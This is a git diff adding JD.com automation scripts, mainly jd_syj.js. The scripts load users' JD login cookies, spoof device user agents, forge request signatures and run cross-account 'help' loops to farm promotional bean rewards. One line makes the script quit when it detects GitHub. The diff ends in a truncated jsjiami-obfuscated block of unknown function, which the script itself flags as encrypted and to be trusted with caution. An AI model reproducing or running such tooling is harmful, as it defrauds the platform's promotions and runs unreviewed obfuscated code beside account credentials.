(iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJump API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_syj.js b/jd_syj.js new file mode 100644 index 0000000..3c9d22f --- /dev/null +++ b/jd_syj.js @@ -0,0 +1,868 @@ +/* +赚京豆-瓜分京豆脚本,一:做任务 天天领京豆(加速领京豆) +Last Modified time: 2022-2-8 +活动入口:赚京豆-瓜分京豆(微信小程序)-赚京豆-瓜分京豆-瓜分京豆 +更新地址:jd_syj.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#赚京豆-瓜分京豆 +10 0,7,23 * * * jd_syj.js, tag=赚京豆-瓜分京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_syj.png, enabled=true + +================Loon============== +[Script] +cron "10 0,7,23 * * *" script-path=jd_syj.js, tag=赚京豆-瓜分京豆 + +===============Surge================= +赚京豆-瓜分京豆 = type=cron,cronexp="10 0,7,23 * * *",wake-system=1,timeout=3600,script-path=jd_syj.js + +============小火箭========= +赚京豆-瓜分京豆 = type=cron,script-path=jd_syj.js, cronexpr="10 0,7,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('赚京豆-瓜分京豆'); +$.appId = 'dde2b'; +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +$.tuanList = []; +$.authorTuanList = []; +inviteCodes=[] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +let do_syj = process.env.JD_SYJ ? process.env.JD_SYJ : false; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log("搬运脚本[搞鸡玩家],有加密部份,不放心的慎用!!!, 需要执行设置环境变量 JD_SYJ = true") + if (do_syj === false) { + return + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await main() + + } + } + + console.log(`\n\n内部互助 【赚京豆-瓜分京豆(微信小程序)-瓜分京豆】活动(内部账号互助(需内部cookie数量大于${$.assistNum || 4}个))\n`) + for (let i = 0; i < cookiesArr.length; i++) { + $.canHelp = true + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ((cookiesArr.length > $.assistNum)) { + if ($.tuanList.length) + $.log($.tuanList.length) + console.log(`开始账号内部互助 赚京豆-瓜分京豆-瓜分京豆 内部账号互助`) + for (let j = 0; j < $.tuanList.length; ++j) { + console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`) + await helpFriendTuan($.tuanList[j]['activityIdEncrypted'],$.tuanList[j]['assistStartRecordId'],$.tuanList[j]['assistedPinEncrypted']) + if(!$.canHelp) break + await $.wait(3000) + } + } + + } + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +async function main() { + try { + await getUA() + await requestAlgo() + await distributeBeanActivity(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +async function distributeBeanActivity() { + try { + $.tuan = '' + $.hasOpen = false; + $.assistStatus = 0; + await getUserTuanInfo() + if (!$.tuan && ($.assistStatus === 3 || $.assistStatus === 2 || $.assistStatus === 0) && $.canStartNewAssist) { + console.log(`准备再次开团`) + await openTuan() + if ($.hasOpen) await getUserTuanInfo() + } +if ($.tuan && $.tuan.hasOwnProperty('assistedPinEncrypted') && $.assistStatus !== 3) { + $.tuanList.push($.tuan); +} + } catch (e) { + $.logErr(e); + } +} + +//领取200京豆 +function pg_interact_interface_invoke(floorToken) { + const body = {floorToken, "dataSourceCode": "takeReward", "argMap": {}} + const options = { + url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`【做任务 天天领京豆】${data['data']['rewardBeanAmount']}京豆领取成功`); + $.rewardBeanNum += data['data']['rewardBeanAmount']; + message += `${message ? '\n' : ''}【做任务 天天领京豆】${$.rewardBeanNum}京豆`; + } else { + console.log(`【做任务 天天领京豆】${data.message}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function openRedPacket(floorToken) { + const body = {floorToken, "dataSourceCode": "openRedPacket", "argMap": {}} + const options = { + url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`活动开启成功,初始:${data.data && data.data['activityBeanInitAmount']}京豆`) + $.vvipFlag = true; + } else { + console.log(data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//================赚京豆-瓜分京豆-加速领京豆===========END======== +//================赚京豆-瓜分京豆开团=========== + +function helpFriendTuan(activityIdEncrypted='',assistStartRecordId='',assistedPinEncrypted='') { + return new Promise(async resolve => { + + let body ={"activityIdEncrypted":activityIdEncrypted,"assistStartRecordId":assistStartRecordId,"assistedPinEncrypted":assistedPinEncrypted,"channel":"FISSION_BEAN","launchChannel":"undefined"} + let body1 = {"activityIdEncrypted": $.tuanActId, "channel": "FISSION_BEAN"} + let h5st = h5stSign(body1) || 'undefined' + $.post(taskTuanUrl("vvipclub_distributeBean_assist", body,h5st), async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log('助力结果:助力成功\n') + } else { + if (data.resultCode === '9200008') console.log('助力结果:不能助力自己\n') + else if (data.resultCode === '9200011') console.log('助力结果:已经助力过\n') + else if (data.resultCode === '2400205') console.log('助力结果:团已满\n') + else if (data.resultCode === '2400203') {console.log('助力结果:助力次数已耗尽\n');$.canHelp = false} + else if (data.resultCode === '9000000') {console.log('助力结果:活动火爆,跳出\n');$.canHelp = false} + else if (data.resultCode === '9000013') {console.log('助力结果:活动火爆,跳出\n');$.canHelp = false} + else if (data.resultCode === '101') {console.log('未登录,跳出\n');$.canHelp = false} + else console.log(`助力结果:火爆,已经助力过\n${JSON.stringify(data)}\n\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUserTuanInfo() { + + return new Promise(async resolve => { + + let body = {"paramData": {"channel": "FISSION_BEAN"}} + + let h5st = h5stSign(body) || 'undefined' + + $.post(taskTuanUrl("distributeBeanActivityInfo", body,h5st), async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.log(`\n\n当前【赚京豆-瓜分京豆(微信小程序)-瓜分京豆】能否再次开团: ${data.data.canStartNewAssist ? '可以' : '否'}`) + console.log(`assistStatus ${data.data.assistStatus}`) + if (data.data.assistStatus === 1 && !data.data.canStartNewAssist) { + console.log(`已开团(未达上限),但团成员人未满\n\n`) + } else if (data.data.assistStatus === 3 && data.data.canStartNewAssist) { + console.log(`已开团(未达上限),团成员人已满\n\n`) + } else if (data.data.assistStatus === 3 && !data.data.canStartNewAssist) { + console.log(`今日开团已达上限,且当前团成员人已满\n\n`) + } + if (data.data && !data.data.canStartNewAssist) { + $.tuan = { + "activityIdEncrypted": data.data.id, + "assistStartRecordId": data.data.assistStartRecordId, + "assistedPinEncrypted": data.data.encPin, + "channel": "FISSION_BEAN" + } + } + $.tuanActId = data.data.id; + $.assistNum = data['data']['assistNum'] || 4; + $.assistStatus = data['data']['assistStatus']; + $.canStartNewAssist = data['data']['canStartNewAssist']; + } else { + $.tuan = true;//活动火爆 + console.log(`赚京豆-瓜分京豆(微信小程序)-瓜分京豆】获取【活动信息失败 ${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function openTuan() { + + + + return new Promise(async resolve => { + + let body = {"activityIdEncrypted": $.tuanActId, "channel": "FISSION_BEAN"} + + let h5st = h5stSign(body) || 'undefined' + $.post(taskTuanUrl("vvipclub_distributeBean_startAssist", body,h5st), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`【赚京豆-瓜分京豆(微信小程序)-瓜分京豆】开团成功`) + $.hasOpen = true + } else { + console.log(`\n开团失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +//======================赚京豆-瓜分京豆开团===========END===== +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&&h5st=${h5st}&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskTuanUrl(function_id, body = {},h5st) { + + return { + url: `https://api.m.jd.com/api?functionId=${function_id}&fromType=wxapp×tamp=1644311410891`, + body:`body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&h5st=${h5st}&uuid=61673901346831643128800601&client=tjj_m&screen=1920*1080&osVersion=5.0.0&networkType=wifi&sdkName=orderDetail&sdkVersion=1.0.0&clientVersion=3.1.3&area=11`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded; Charset=UTF-8", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/182/page-frame.html", + "Cookie": cookie, + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat', + + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.2.2;14.3;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone12,1;addressid/4199175193;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + + +var _0xode = 'jsjiami.com.v6', + _0xode_ = ['‮_0xode'], + _0x3e5c = [_0xode, 'EcKAXEUmw7LCmw==', 'XsO9wr/Ci1Q=', 'wrXCnCnDm2DDtQ==', 'wotcN33DiQ==', 'w5BUJsKgWsKIwqM=', 'BEXCpgYD', 'wox6WMOlwrA=', 'w44ORMKkw7k=', 'VMKvRzjDtw==', 'w4tJQ3hgBh3DvwrDtAM8w5kbI2XCpkwOJDbDgcKMEsKbB1/Cu8KOXMKLw5REDHV5wokLHz/Ci31Pwr8=', 'NsOkVcKDLA==', 